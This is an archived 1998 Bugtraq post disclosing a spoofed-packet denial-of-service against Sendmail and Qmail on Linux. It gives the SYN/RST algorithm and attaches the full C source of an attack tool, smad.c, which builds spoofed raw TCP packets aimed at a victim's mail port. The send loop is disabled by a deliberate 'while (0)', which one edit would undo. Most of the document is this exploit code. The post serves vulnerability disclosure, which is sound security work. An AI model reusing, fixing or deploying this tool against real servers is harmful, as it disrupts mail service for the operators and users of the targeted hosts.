[LWN Logo]

Date:	Tue, 3 Nov 1998 11:35:31 +0100
From:	Salvatore Sanfilippo <antirez@SECLAB.COM>
Subject:      Sendmail/Qmail DoS
To:	BUGTRAQ@NETSPACE.ORG

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=mutt026444

Hi,
This expolit shows how Sendmail and Qmail vulnerabilities can be
exploited through spoofed packets. In fact the simple algorithm proposed by
Michal Zalewski can be performed in this way:

1. Attacker sends SYN from port X to victim, dst_port=25, spoof_addr SPOOFHOST     (victim sends SYN/ACK to SPOOFHOST)
2. SPOOFHOST sends RST from port X to victim, dst_port=25 respecting sequence      numbers (in reply to the SYN/ACK from victim).
   (victim got error on accept() - and enters 5 sec 'refusingconn' mode)
3. Wait approx. 2 seconds
4. Go to 1.

The source is for Linux and there is a little bug so it doesn't work.

p.s. This DoS works only against Linux boxes because Linux accept() returns
     a different errno.

anti.

--
Salvatore Sanfilippo
Intesis SECURITY LAB            Phone: +39-2-671563.1
Via Settembrini, 35             Fax: +39-2-66981953
I-20124 Milano  ITALY           Email: antirez@seclab.com

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="smad.c"

/*
 * smad.c - sendmail accept dos -
 *
 * Salvatore Sanfilippo [AntireZ]
 * Intesis SECURITY LAB            Phone: +39-2-671563.1
 * Via Settembrini, 35             Fax: +39-2-66981953
 * I-20124 Milano  ITALY           Email: antirez@seclab.com
 *                                         md5330@mclink.it
 *
 * compile it under Linux with gcc -Wall -o smad smad.c
 *
 * usage: smad fakeaddr victim [port]
 */

#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define SLEEP_UTIME 100000 /* modify it if necessary */

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP  (sizeof(struct iphdr))
#define OFFSETIP   (0)

u_short cksum(u_short *buf, int nwords)
{
        unsigned long sum;
        u_short *w = buf;

        for (sum = 0; nwords > 0; nwords-=2)
                sum += *w++;

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return ~sum;
}

void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
        struct  sockaddr_in *address;
        struct  hostent     *host;

        address = (struct sockaddr_in *)addr;

        (void) bzero((char *)address, sizeof(struct sockaddr_in));
        address->sin_family = AF_INET;
        address->sin_port = htons(port);
        address->sin_addr.s_addr = inet_addr(hostname);

        if ( (int)address->sin_addr.s_addr == -1) {
                host = gethostbyname(hostname);
                if (host) {
                        bcopy( host->h_addr,
                        (char *)&address->sin_addr,host->h_length);
                } else {
                        perror("Could not resolve address");
                        exit(-1);
                }
        }
}

int main(int argc, char **argv)
{
        char runchar[] = "|/-\\";
        char packet[PACKETSIZE],
        *fromhost,
        *tohost;

        u_short fromport        = 3000,
                toport          = 25;

        struct sockaddr_in local, remote;
        struct iphdr    *ip     = (struct iphdr*)  (packet + OFFSETIP);
        struct tcphdr   *tcp    = (struct tcphdr*) (packet + OFFSETTCP);

        struct  tcp_pseudohdr
        {
                struct in_addr saddr;
                struct in_addr daddr;
                u_char zero;
                u_char protocol;
                u_short lenght;
                struct tcphdr tcpheader;
        } pseudoheader;

        int sock, result, runcharid = 0;

        if (argc < 3)
        {
                printf("usage: %s fakeaddr victim [port]\n", argv[0]);
                exit(0);
        }
        if (argc == 4)
                toport = atoi(argv[3]);

        bzero((void*)packet, PACKETSIZE);
        fromhost = argv[1];
        tohost = argv[2];

        resolver((struct sockaddr*)&local, fromhost, fromport);
        resolver((struct sockaddr*)&remote, tohost, toport);

        sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (sock == -1) {
                perror("can't get raw socket");
                exit(1);
        }

        /* src addr */
        bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
        /* dst addr */
        bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

        ip->version = 4;
        ip->ihl     = sizeof(struct iphdr)/4;
        ip->tos     = 0;
        ip->tot_len = htons(PACKETSIZE);
        ip->id      = htons(getpid() & 255);
        /* no flags */
        ip->frag_off = 0;
        ip->ttl     = 64;
        ip->protocol = 6;
        ip->check   = 0;

        tcp->th_dport = htons(toport);
        tcp->th_sport = htons(fromport);
        tcp->th_seq   = htonl(32089744);
        tcp->th_ack   = htonl(0);
        tcp->th_off   = sizeof(struct tcphdr)/4;
        /* 6 bit reserved */
        tcp->th_flags = TH_SYN;
        tcp->th_win   = htons(512);

        /* start of pseudo header stuff */
        bzero(&pseudoheader, 12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
        pseudoheader.protocol = 6;
        pseudoheader.lenght = htons(sizeof(struct tcphdr));
        bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
                sizeof(struct tcphdr));
        /* end */

        tcp->th_sum   = cksum((u_short *) &pseudoheader,
                                12+sizeof(struct tcphdr));
        /* 16 bit urg */

        while (0)
        {
                result = sendto(sock, packet, PACKETSIZE, 0,
                        (struct sockaddr *)&remote, sizeof(remote));
                if (result != PACKETSIZE)
                {
                        perror("sending packet");
                        exit(0);
                }
                printf("\b");
                printf("%c", runchar[runcharid]);
                fflush(stdout);
                runcharid++;
                if (runcharid == 4)
                        runcharid = 0;
                usleep(SLEEP_UTIME);
        }

        return 0;
}

--vtzGhvizbBRQ85DL--